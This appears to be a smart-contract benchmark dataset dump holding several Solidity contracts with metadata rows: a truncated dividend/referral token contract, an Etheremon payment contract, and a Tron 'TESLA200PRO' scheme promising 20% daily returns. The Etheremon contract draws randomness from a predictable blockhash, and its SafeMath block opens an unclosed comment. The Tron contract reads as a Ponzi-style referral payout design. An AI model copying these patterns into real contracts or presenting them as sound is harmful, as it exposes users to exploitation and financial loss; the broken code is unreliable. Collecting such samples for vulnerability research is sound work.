mapping (address => mapping(address => BalanceLedger)) balanceLedger;
mapping(address => TokenLedger) tokenLedger;
event onTokenOnboard(address indexed contractAddress, uint initialPrice, uint incrementPrice);
event onPurchase(address indexed walletAddress, address indexed contractAddress, uint incomingTokenAmount, uint collateralMinted, address indexed referredBy);
event onSell(address indexed walletAddress, address indexed contractAddress, uint tokenAmountToReceiver, uint collateralBurned);
event onReinvest(address indexed walletAddress, address indexed contractAddress, uint reInvestTokenAmount, uint collateralMinted);
event onWithdraw(address indexed walletAddress, address indexed contractAddress, uint amountToWithdraw);
event onTransfer(address indexed contractAddress, address indexed from,address indexed to,uint256 tokens);
function tokenOnboard(address contractAddress, uint initialPrice, uint incrementPrice) public onlyOwner
{
if(contractAddressRecord[contractAddress] == false)
{
contractAddressRecord[contractAddress] = true;
tokenLedger[contractAddress].initialPrice = initialPrice;
tokenLedger[contractAddress].incrementPrice = incrementPrice;
tokenLedger[contractAddress].supply = 0;
tokenLedger[contractAddress].dividend = 0;
emit onTokenOnboard(contractAddress, initialPrice, incrementPrice);
}
}
function buy(address _referredBy) public payable returns(uint256)
{
require(msg.value>0);
require(contractAddressRecord[address(0)] == true);
if(walletAddressRecord[msg.sender] == false){
walletAddressRecord[msg.sender] = true;
}
uint256 collateAmount = purchaseCollate(address(0), msg.value, _referredBy);
return collateAmount;
}
function buy(address contractAddress, uint256 tokenAmount, address _referredBy) public returns(uint256)
{
require(contractAddressRecord[contractAddress] == true);
require(tokenAmount > 0);
require(ERC20(contractAddress).allowance(msg.sender, address(this)) >= tokenAmount);
require(ERC20(contractAddress).transferFrom(msg.sender, address(this), tokenAmount));
if(walletAddressRecord[msg.sender] == false){
walletAddressRecord[msg.sender] = true;
}
uint256 collateAmount = purchaseCollate(contractAddress,tokenAmount, _referredBy);
return collateAmount;
}
fallback() payable external
{
require(msg.value > 0);
require(contractAddressRecord[address(0)] == true);
if(walletAddressRecord[msg.sender] == false){
walletAddressRecord[msg.sender] = true;
}
purchaseCollate(address(0), msg.value, address(0));
}
function reinvest(address contractAddress) public
{
require(contractAddressRecord[contractAddress] == true);
require(walletAddressRecord[msg.sender] == true);
uint256 _dividends = myDividends(contractAddress, false); // retrieve ref. bonus later in the code
address _customerAddress = msg.sender;
balanceLedger[_customerAddress][contractAddress].payOut += (int256) (_dividends * magnitude);
_dividends += balanceLedger[_customerAddress][contractAddress].referralBalance;
balanceLedger[_customerAddress][contractAddress].referralBalance = 0;
uint256 _collate = purchaseCollate(contractAddress, _dividends, address(0));
emit onReinvest(_customerAddress, contractAddress, _dividends, _collate);
}
function exit(address contractAddress) public
{
require(contractAddressRecord[contractAddress] == true);
require(walletAddressRecord[msg.sender] == true);
address _customerAddress = msg.sender;
uint256 _tokens = balanceLedger[_customerAddress][contractAddress].tokenBalance;
if(_tokens > 0) sell(contractAddress, _tokens);
withdraw(contractAddress);
}
function withdraw(address contractAddress) public
{
require(contractAddressRecord[contractAddress] == true);
require(walletAddressRecord[msg.sender] == true);
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(contractAddress, false); // get ref. bonus later in the code
balanceLedger[_customerAddress][contractAddress].payOut += (int256) (_dividends * magnitude);
_dividends += balanceLedger[_customerAddress][contractAddress].referralBalance;
balanceLedger[_customerAddress][contractAddress].referralBalance = 0;
if (contractAddress == address(0)){
payable(address(_customerAddress)).transfer(_dividends);
}
else{
ERC20(contractAddress).transfer(_customerAddress,_dividends);
}
emit onWithdraw(_customerAddress, contractAddress, _dividends);
}
function transfer(address contractAddress, address toAddress, uint256 amountOfCollate) public returns(bool)
{
address _customerAddress = msg.sender;
require(contractAddressRecord[contractAddress] == true);
require(walletAddressRecord[_customerAddress] == true);
require(amountOfCollate <= balanceLedger[_customerAddress][contractAddress].tokenBalance);
if(walletAddressRecord[toAddress] == false){
walletAddressRecord[toAddress] = true;
}
if(myDividends(contractAddress, true) > 0) withdraw(contractAddress);
uint256 _tokenFee = SafeMath.div(amountOfCollate, dividendFee);
uint256 _taxedTokens = SafeMath.sub(amountOfCollate, _tokenFee);
uint256 _dividends = collateralToToken_(contractAddress, _tokenFee);
tokenLedger[contractAddress].supply = SafeMath.sub(tokenLedger[contractAddress].supply, _tokenFee);
balanceLedger[_customerAddress][contractAddress].tokenBalance = SafeMath.sub(balanceLedger[_customerAddress][contractAddress].tokenBalance, amountOfCollate);
balanceLedger[toAddress][contractAddress].tokenBalance = SafeMath.add(balanceLedger[toAddress][contractAddress].tokenBalance, _taxedTokens);
balanceLedger[_customerAddress][contractAddress].payOut -= (int256) (tokenLedger[contractAddress].dividend * amountOfCollate);
balanceLedger[toAddress][contractAddress].payOut += (int256) (tokenLedger[contractAddress].dividend * _taxedTokens);
tokenLedger[contractAddress].dividend = SafeMath.add(tokenLedger[contractAddress].dividend, (_dividends * magnitude) / tokenLedger[contractAddress].supply);
emit onTransfer(contractAddress, _customerAddress, toAddress, _taxedTokens);
return true;
}
function sell(address contractAddress, uint256 _amountOfCollate) public
{
require(contractAddressRecord[contractAddress] == true);
require(walletAddressRecord[msg.sender] == true);
address _customerAddress = msg.sender;
require(_amountOfCollate <= balanceLedger[_customerAddress][contractAddress].tokenBalance);
uint256 _collates = _amountOfCollate;
uint256 _tokens = collateralToToken_(contractAddress, _collates);
uint256 _dividends = SafeMath.div(_tokens, dividendFee);
uint256 _taxedToken = SafeMath.sub(_tokens, _dividends);
tokenLedger[contractAddress].supply = SafeMath.sub(tokenLedger[contractAddress].supply, _collates);
balanceLedger[_customerAddress][contractAddress].tokenBalance = SafeMath.sub(balanceLedger[_customerAddress][contractAddress].tokenBalance, _collates);
int256 _updatedPayouts = (int256) (tokenLedger[contractAddress].dividend * _collates + (_taxedToken * magnitude));
balanceLedger[_customerAddress][contractAddress].payOut -= _updatedPayouts;
if (tokenLedger[contractAddress].supply > 0) {
tokenLedger[contractAddress].dividend = SafeMath.add(tokenLedger[contractAddress].dividend, (_dividends * magnitude) / tokenLedger[contractAddress].supply);
}
emit onSell(_customerAddress, contractAddress, _taxedToken, _collates);
}
function buyPrice(address contractAddress) public view returns(uint currentBuyPrice) {
require(contractAddressRecord[contractAddress] == true);
if(tokenLedger[contractAddress].supply == 0){
return tokenLedger[contractAddress].initialPrice + tokenLedger[contractAddress].incrementPrice;
} else {
uint256 _token = collateralToToken_(contractAddress, 1e18);
uint256 _dividends = SafeMath.div(_token, dividendFee);
uint256 _taxedToken = SafeMath.add(_token, _dividends);
return _taxedToken;
}
}
function sellPrice(address contractAddress) public view returns(uint) {
require(contractAddressRecord[contractAddress] == true);
if(tokenLedger[contractAddress].supply == 0){
return tokenLedger[contractAddress].initialPrice - tokenLedger[contractAddress].incrementPrice;
} else {
uint256 _token = collateralToToken_(contractAddress, 1e18);
uint256 _dividends = SafeMath.div(_token, dividendFee);
uint256 _taxedToken = SafeMath.sub(_token, _dividends);
return _taxedToken;
}
}
function tokentoCollateral_(address contractAddress, uint amount) internal view returns(uint)
{
uint256 _tokenPriceInitial = tokenLedger[contractAddress].initialPrice * 1e18;
uint256 tokenSupply_ = tokenLedger[contractAddress].supply;
uint tokenPriceIncremental_ = tokenLedger[contractAddress].incrementPrice;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(amount * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function collateralToToken_(address contractAddress, uint256 _tokens) internal view returns(uint256)
{
uint256 tokens_ = _tokens + 1e18 ;
uint256 _tokenSupply = tokenLedger[contractAddress].supply + 1e18;
uint256 tokenPriceInitial_ = tokenLedger[contractAddress].initialPrice;
uint tokenPriceIncremental_ = tokenLedger[contractAddress].incrementPrice;
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
function calculateCollateReceived(address contractAddress, uint256 _tokenAmount) public view returns(uint256)
{
require(contractAddressRecord[contractAddress] == true);
uint256 _dividends = SafeMath.div(_tokenAmount, dividendFee);
uint256 _taxedToken = SafeMath.sub(_tokenAmount, _dividends);
uint256 _amountOfCollatral = tokentoCollateral_(contractAddress, _taxedToken);
return _amountOfCollatral;
}
function calculateTokenReceived(address contractAddress, uint256 _collateToSell) public view returns(uint256)
{
require(contractAddressRecord[contractAddress] == true);
require(_collateToSell <= tokenLedger[contractAddress].supply);
uint256 _token = collateralToToken_(contractAddress, _collateToSell);
uint256 _dividends = SafeMath.div(_token, dividendFee);
uint256 _taxedToken = SafeMath.sub(_token, _dividends);
return _taxedToken;
}
function purchaseCollate(address contractAddress, uint256 _incomingToken, address _referredBy) internal returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingToken, dividendFee);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedToken = SafeMath.sub(_incomingToken, _undividedDividends);
uint256 _amountOfCollate = tokentoCollateral_(contractAddress,_taxedToken);
uint256 _fee = _dividends * magnitude;
require(_amountOfCollate > 0 && (SafeMath.add(_amountOfCollate,tokenLedger[contractAddress].supply) > tokenLedger[contractAddress].supply));
if(_referredBy != address(0) &&
_referredBy != _customerAddress &&
walletAddressRecord[_referredBy] == true){
balanceLedger[_referredBy][contractAddress].referralBalance = SafeMath.add(balanceLedger[_referredBy][contractAddress].referralBalance, _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenLedger[contractAddress].supply > 0){
tokenLedger[contractAddress].supply = SafeMath.add(tokenLedger[contractAddress].supply, _amountOfCollate);
tokenLedger[contractAddress].dividend += (_dividends * magnitude / (tokenLedger[contractAddress].supply));
_fee = _fee - (_fee-(_amountOfCollate * (_dividends * magnitude / (tokenLedger[contractAddress].supply))));
} else {
tokenLedger[contractAddress].supply = _amountOfCollate;
}
balanceLedger[_customerAddress][contractAddress].tokenBalance = SafeMath.add(balanceLedger[_customerAddress][contractAddress].tokenBalance, _amountOfCollate);
int256 _updatedPayouts = (int256) ((tokenLedger[contractAddress].dividend * _amountOfCollate) - _fee);
balanceLedger[_customerAddress][contractAddress].payOut += _updatedPayouts;
emit onPurchase(_customerAddress, contractAddress, _incomingToken, _amountOfCollate, _referredBy);
return _amountOfCollate;
}
function totalTokenBalance(address contractAddress) public view returns(uint)
{
require(contractAddressRecord[contractAddress] == true);
if (contractAddress== address(0)){
return address(this).balance;
}
else{
return ERC20(contractAddress).balanceOf(address(this));
}
}
function totalSupply(address contractAddress) public view returns(uint256)
{
require(contractAddressRecord[contractAddress] == true);
return tokenLedger[contractAddress].supply;
}
function myTokens(address contractAddress) public view returns(uint256)
{
require(contractAddressRecord[contractAddress] == true);
address _customerAddress = msg.sender;
return balanceOf(contractAddress, _customerAddress);
}
function myDividends(address contractAddress, bool _includeReferralBonus) public view returns(uint256)
{
require(contractAddressRecord[contractAddress] == true);
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(contractAddress,_customerAddress) + balanceLedger[_customerAddress][contractAddress].referralBalance : dividendsOf(contractAddress, _customerAddress) ;
}
function balanceOf(address contractAddress, address _customerAddress) view public returns(uint256)
{
require(contractAddressRecord[contractAddress] == true);
return balanceLedger[_customerAddress][contractAddress].tokenBalance;
}
function dividendsOf(address contractAddress, address _customerAddress) view public returns(uint256)
{
require(contractAddressRecord[contractAddress] == true);
return (uint256) ((int256)(tokenLedger[contractAddress].dividend * balanceLedger[_customerAddress][contractAddress].tokenBalance) - balanceLedger[_customerAddress][contractAddress].payOut) / magnitude;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
interface ERC20 {
function totalSupply() external view returns (uint supply);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function approve(address _spender, uint _value) external returns (bool success);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Transfer(address indexed _from, address indexed _to, uint _value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 276,483 | 10,695 |
191c643eee4f585481212d77def760cdfc461fe86aeaecd0d384488a932b2da3
| 13,111 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xfc5e6cad30632d79abbb2dbf22a87f0753b0ddc4.sol
| 3,307 | 12,762 |
pragma solidity ^0.4.16;
contract SafeMath {
/* }
function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract BasicAccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonEnum {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_TRAINER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum ArrayType {
CLASS_TYPE,
STAT_STEP,
STAT_START,
STAT_BASE,
OBJ_SKILL
}
enum PropertyType {
ANCESTOR,
XFACTOR
}
}
contract EtheremonDataBase is EtheremonEnum, BasicAccessControl, SafeMath {
uint64 public totalMonster;
uint32 public totalClass;
function withdrawEther(address _sendTo, uint _amount) onlyOwner public returns(ResultCode);
function addElementToArrayType(ArrayType _type, uint64 _id, uint8 _value) onlyModerators public returns(uint);
function updateIndexOfArrayType(ArrayType _type, uint64 _id, uint _index, uint8 _value) onlyModerators public returns(uint);
function setMonsterClass(uint32 _classId, uint256 _price, uint256 _returnPrice, bool _catchable) onlyModerators public returns(uint32);
function addMonsterObj(uint32 _classId, address _trainer, string _name) onlyModerators public returns(uint64);
function setMonsterObj(uint64 _objId, string _name, uint32 _exp, uint32 _createIndex, uint32 _lastClaimIndex) onlyModerators public;
function increaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function decreaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function removeMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function addMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function clearMonsterReturnBalance(uint64 _monsterId) onlyModerators public returns(uint256 amount);
function collectAllReturnBalance(address _trainer) onlyModerators public returns(uint256 amount);
function transferMonster(address _from, address _to, uint64 _monsterId) onlyModerators public returns(ResultCode);
function addExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function deductExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function setExtraBalance(address _trainer, uint256 _amount) onlyModerators public;
function getSizeArrayType(ArrayType _type, uint64 _id) constant public returns(uint);
function getElementInArrayType(ArrayType _type, uint64 _id, uint _index) constant public returns(uint8);
function getMonsterClass(uint32 _classId) constant public returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable);
function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
function getMonsterName(uint64 _objId) constant public returns(string name);
function getExtraBalance(address _trainer) constant public returns(uint256);
function getMonsterDexSize(address _trainer) constant public returns(uint);
function getMonsterObjId(address _trainer, uint index) constant public returns(uint64);
function getExpectedBalance(address _trainer) constant public returns(uint256);
function getMonsterReturn(uint64 _objId) constant public returns(uint256 current, uint256 total);
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
contract BattleInterface {
function createCastleWithToken(address _trainer, uint32 _noBrick, string _name, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3) external;
}
contract TransformInterface {
function removeHatchingTimeWithToken(address _trainer) external;
function buyEggWithToken(address _trainer) external;
}
contract EngergyInterface {
function topupEnergyByToken(address _player, uint _packId, uint _token) external;
}
contract AdventureInterface {
function adventureByToken(address _player, uint _token, uint _param1, uint _param2, uint64 _param3, uint64 _param4) external;
}
contract CubegoInterface {
function payService(address _player, uint _tokens, uint _param1, uint _param2, uint64 _param3, uint64 _param4) external;
}
contract EtheremonPayment is EtheremonEnum, BasicAccessControl, SafeMath {
uint8 constant public STAT_COUNT = 6;
uint8 constant public STAT_MAX = 32;
uint8 constant public GEN0_NO = 24;
enum PayServiceType {
NONE,
FAST_HATCHING,
RANDOM_EGG,
ENERGY_TOPUP,
ADVENTURE,
CUBEGO
}
struct MonsterClassAcc {
uint32 classId;
uint256 price;
uint256 returnPrice;
uint32 total;
bool catchable;
}
struct MonsterObjAcc {
uint64 monsterId;
uint32 classId;
address trainer;
string name;
uint32 exp;
uint32 createIndex;
uint32 lastClaimIndex;
uint createTime;
}
address public dataContract;
address public tokenContract;
address public transformContract;
address public energyContract;
address public adventureContract;
address public cubegoContract;
address private lastHunter = address(0x0);
uint public fastHatchingPrice = 35 * 10 ** 8;
uint public buyEggPrice = 80 * 10 ** 8;
uint public tokenPrice = 0.004 ether / 10 ** 8;
uint public maxDexSize = 200;
event EventCatchMonster(address indexed trainer, uint64 objId);
modifier requireDataContract {
require(dataContract != address(0));
_;
}
modifier requireTokenContract {
require(tokenContract != address(0));
_;
}
modifier requireTransformContract {
require(transformContract != address(0));
_;
}
function EtheremonPayment(address _dataContract, address _tokenContract, address _transformContract, address _energyContract, address _adventureContract, address _cubegoContract) public {
dataContract = _dataContract;
tokenContract = _tokenContract;
transformContract = _transformContract;
energyContract = _energyContract;
adventureContract = _adventureContract;
cubegoContract = _cubegoContract;
}
function getRandom(uint8 maxRan, uint8 index, address priAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(priAddress);
for (uint8 i = 0; i < index && i < 6; i ++) {
genNum /= 256;
}
return uint8(genNum % maxRan);
}
function withdrawToken(address _sendTo, uint _amount) onlyModerators requireTokenContract external {
ERC20Interface token = ERC20Interface(tokenContract);
if (_amount > token.balanceOf(address(this))) {
revert();
}
token.transfer(_sendTo, _amount);
}
function setContract(address _dataContract, address _tokenContract, address _transformContract, address _energyContract, address _adventureContract, address _cubegoContract) onlyModerators external {
dataContract = _dataContract;
tokenContract = _tokenContract;
transformContract = _transformContract;
energyContract = _energyContract;
adventureContract = _adventureContract;
cubegoContract = _cubegoContract;
}
function setConfig(uint _tokenPrice, uint _maxDexSize, uint _fastHatchingPrice, uint _buyEggPrice) onlyModerators external {
tokenPrice = _tokenPrice;
maxDexSize = _maxDexSize;
fastHatchingPrice = _fastHatchingPrice;
buyEggPrice = _buyEggPrice;
}
function catchMonster(address _trainer, uint _tokens, uint32 _classId, string _name) isActive requireDataContract requireTokenContract public returns(uint){
if (msg.sender != tokenContract)
revert();
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterClassAcc memory class;
(class.classId, class.price, class.returnPrice, class.total, class.catchable) = data.getMonsterClass(_classId);
if (class.classId == 0 || class.catchable == false) {
revert();
}
if (data.getMonsterDexSize(_trainer) > maxDexSize)
revert();
uint requiredToken = class.price/tokenPrice;
if (_tokens < requiredToken)
revert();
uint64 objId = data.addMonsterObj(_classId, _trainer, _name);
for (uint i=0; i < STAT_COUNT; i+= 1) {
uint8 value = getRandom(STAT_MAX, uint8(i), lastHunter) + data.getElementInArrayType(ArrayType.STAT_START, uint64(_classId), i);
data.addElementToArrayType(ArrayType.STAT_BASE, objId, value);
}
lastHunter = _trainer;
EventCatchMonster(_trainer, objId);
return requiredToken;
}
function _handleEnergyTopup(address _trainer, uint _param, uint _tokens) internal {
EngergyInterface energy = EngergyInterface(energyContract);
energy.topupEnergyByToken(_trainer, _param, _tokens);
}
function payService(address _trainer, uint _tokens, uint32 _type, string _text, uint64 _param1, uint64 _param2, uint64 _param3, uint64 _param4, uint64 _param5, uint64 _param6) isActive public returns(uint result) {
if (msg.sender != tokenContract)
revert();
TransformInterface transform = TransformInterface(transformContract);
if (_type == uint32(PayServiceType.FAST_HATCHING)) {
if (_tokens < fastHatchingPrice)
revert();
transform.removeHatchingTimeWithToken(_trainer);
return fastHatchingPrice;
} else if (_type == uint32(PayServiceType.RANDOM_EGG)) {
if (_tokens < buyEggPrice)
revert();
transform.buyEggWithToken(_trainer);
return buyEggPrice;
} else if (_type == uint32(PayServiceType.ENERGY_TOPUP)) {
_handleEnergyTopup(_trainer, _param1, _tokens);
return _tokens;
} else if (_type == uint32(PayServiceType.ADVENTURE)) {
AdventureInterface adventure = AdventureInterface(adventureContract);
adventure.adventureByToken(_trainer, _tokens, _param1, _param2, _param3, _param4);
return _tokens;
} else if (_type == uint32(PayServiceType.CUBEGO)) {
CubegoInterface cubego = CubegoInterface(cubegoContract);
cubego.payService(_trainer, _tokens, _param1, _param2, _param3, _param4);
return _tokens;
} else {
revert();
}
}
}
| 163,352 | 10,696 |
eadc09b2ee06736c6ee8c50037f7de097217c722fd63f155f39f891d114d4474
| 18,183 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYNvsZT5iZSG7muHno9ZJ3kjmygRdXwK1H_TESLA200PRO.sol
| 4,851 | 17,595 |
//SourceUnit: TESLA200PRO.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract TESLA200PRO is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 150; // Team, Operation & Development
uint256 public constant MARKETING_RATE = 100; // Marketing TEAM
uint256 public constant REFERENCE_RATE = 150; // 15% Total Refer Income
uint256 public constant REFERENCE_LEVEL1_RATE = 70; // 7% Level 1 Income
uint256 public constant REFERENCE_LEVEL2_RATE = 50; // 5% Level 2 Income
uint256 public constant REFERENCE_LEVEL3_RATE = 30; // 3% Level 3 Income
uint256 public constant MINIMUM = 100; // Minimum investment : 100 TRX
uint256 public constant REFERRER_CODE = 231; // Root ID :
uint256 public constant PLAN_INTEREST = 200; // 20% Daily Roi
uint256 public constant PLAN_TERM = 10 days; // 10 Days
uint256 public constant CONTRACT_LIMIT = 100; // 90% Unlocked for Withdrawal Daily
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256 public totalReinvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
_init();
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address payable _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
